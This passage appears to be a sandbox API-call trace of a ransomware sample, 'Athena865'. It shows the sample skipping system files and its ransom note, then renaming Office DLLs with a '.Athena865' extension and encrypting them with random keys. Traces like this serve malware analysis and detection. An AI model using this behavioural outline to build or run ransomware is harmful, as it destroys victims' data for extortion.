lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.538] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=55744) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.539] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.539] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.539] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.539] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdcc0, lpName=0x0) returned 0x154 [0112.541] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdcc0) returned 0x100000 [0112.543] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.544] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.544] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.545] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0112.545] CloseHandle (hObject=0x154) returned 1 [0112.545] CloseHandle (hObject=0x17c) returned 1 [0112.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.546] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".") returned 1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="..") returned 1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="windows") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="bootmgr") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="temp") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="pagefile.sys") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="boot") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="ids.txt") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="ntuser.dat") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="perflogs") returned -1 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2="MSBuild") returned -1 [0112.546] lstrlenW (lpString="ACEREP.DLL") returned 10 [0112.546] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEREP.DLL" | out: lpString1="ACEREP.DLL") returned="ACEREP.DLL" [0112.546] lstrlenW (lpString="ACEREP.DLL") returned 10 [0112.546] lstrlenW (lpString="Athena865") returned 9 [0112.546] lstrcmpiW (lpString1="CEREP.DLL", lpString2="Athena865") returned 1 [0112.546] lstrlenW (lpString=".dll") returned 4 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".dll") returned 1 [0112.546] lstrlenW (lpString=".lnk") returned 4 [0112.546] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".lnk") returned 1 [0112.547] lstrlenW (lpString=".ini") returned 4 [0112.547] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".ini") returned 1 [0112.547] lstrlenW (lpString=".sys") returned 4 [0112.547] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".sys") returned 1 [0112.547] lstrlenW (lpString="ACEREP.DLL") returned 10 [0112.547] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.Athena865") returned 76 [0112.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.athena865"), dwFlags=0x1) returned 1 [0112.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.548] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=691616) returned 1 [0112.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.548] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.548] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.549] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.549] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.549] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa90a0, lpName=0x0) returned 0x154 [0112.551] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa90a0) returned 0x2d50000 [0112.573] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.573] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.573] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.574] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.580] CloseHandle (hObject=0x154) returned 1 [0112.580] CloseHandle (hObject=0x17c) returned 1 [0112.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.583] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".") returned 1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="..") returned 1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="windows") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="bootmgr") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="temp") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="pagefile.sys") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="boot") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="ids.txt") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="ntuser.dat") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="perflogs") returned -1 [0112.583] lstrcmpiW (lpString1="ACETXT.DLL", lpString2="MSBuild") returned -1 [0112.583] lstrlenW (lpString="ACETXT.DLL") returned 10 [0112.583] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACETXT.DLL" | out: lpString1="ACETXT.DLL") returned="ACETXT.DLL" [0112.584] lstrlenW (lpString="ACETXT.DLL") returned 10 [0112.584] lstrlenW (lpString="Athena865") returned 9 [0112.584] lstrcmpiW (lpString1="CETXT.DLL", lpString2="Athena865") returned 1 [0112.584] lstrlenW (lpString=".dll") returned 4 [0112.584] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".dll") returned 1 [0112.584] lstrlenW (lpString=".lnk") returned 4 [0112.584] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".lnk") returned 1 [0112.584] lstrlenW (lpString=".ini") returned 4 [0112.584] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".ini") returned 1 [0112.584] lstrlenW (lpString=".sys") returned 4 [0112.584] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".sys") returned 1 [0112.584] lstrlenW (lpString="ACETXT.DLL") returned 10 [0112.584] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.Athena865") returned 76 [0112.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.athena865"), dwFlags=0x1) returned 1 [0112.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.585] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=297360) returned 1 [0112.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.586] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.586] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.586] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.587] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x48c90, lpName=0x0) returned 0x154 [0112.590] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x48c90) returned 0x2d50000 [0112.600] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.601] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.601] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.601] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.607] CloseHandle (hObject=0x154) returned 1 [0112.607] CloseHandle (hObject=0x17c) returned 1 [0112.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.609] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".") returned 1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="..") returned 1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="windows") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="bootmgr") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="temp") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="pagefile.sys") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="boot") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="ids.txt") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="ntuser.dat") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="perflogs") returned -1 [0112.609] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2="MSBuild") returned -1 [0112.609] lstrlenW (lpString="ACEWDAT.DLL") returned 11 [0112.609] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEWDAT.DLL" | out: lpString1="ACEWDAT.DLL") returned="ACEWDAT.DLL" [0112.609] lstrlenW (lpString="ACEWDAT.DLL") returned 11 [0112.610] lstrlenW (lpString="Athena865") returned 9 [0112.610] lstrcmpiW (lpString1="EWDAT.DLL", lpString2="Athena865") returned 1 [0112.610] lstrlenW (lpString=".dll") returned 4 [0112.610] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".dll") returned 1 [0112.610] lstrlenW (lpString=".lnk") returned 4 [0112.610] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".lnk") returned 1 [0112.610] lstrlenW (lpString=".ini") returned 4 [0112.610] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".ini") returned 1 [0112.610] lstrlenW (lpString=".sys") returned 4 [0112.610] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".sys") returned 1 [0112.610] lstrlenW (lpString="ACEWDAT.DLL") returned 11 [0112.610] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.Athena865") returned 77 [0112.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.athena865"), dwFlags=0x1) returned 1 [0112.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0112.611] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3050912) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0112.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0112.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0112.612] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0112.612] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0112.612] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.612] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e90a0, lpName=0x0) returned 0x154 [0112.614] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xe90a0) returned 0x2d50000 [0112.743] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0112.756] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0112.756] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0112.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0112.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0112.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0112.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0112.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0112.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0112.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0112.757] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0112.764] CloseHandle (hObject=0x154) returned 1 [0112.765] CloseHandle (hObject=0x17c) returned 1 [0112.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0112.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0112.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0112.773] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".") returned 1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="..") returned 1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="windows") returned -1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="bootmgr") returned -1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="temp") returned -1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="pagefile.sys") returned -1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="boot") returned -1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="ids.txt") returned -1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="ntuser.dat") returned -1 [0112.773] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="perflogs") returned -1 [0112.774] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2="MSBuild") returned -1 [0112.774] lstrlenW (lpString="ACEWSS.DLL") returned 10 [0112.774] lstrcpyW (in: lpString1=0x241e8b8, lpString2="ACEWSS.DLL" | out: lpString1="ACEWSS.DLL") returned="ACEWSS.DLL" [0112.774] lstrlenW (lpString="ACEWSS.DLL") returned 10 [0112.774] lstrlenW (lpString="Athena865") returned 9 [0112.774] lstrcmpiW (lpString1="CEWSS.DLL", lpString2="Athena865") returned 1 [0112.774] lstrlenW (lpString=".dll") returned 4 [0112.774] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".dll") returned 1 [0112.774] lstrlenW (lpString=".lnk") returned 4 [0112.774] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".lnk") returned 1 [0112.774] lstrlenW (lpString=".ini") returned 4 [0112.774] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".ini") returned 1 [0112.774] lstrlenW (lpString=".sys") returned 4 [0112.774] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".sys") returned 1 [0112.774] lstrlenW (lpString="ACEWSS.DLL") returned 10 [0112.789] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.Athena865") returned 76 [0112.789] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.athena865"), dwFlags=0x1) returned 1 [0112.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 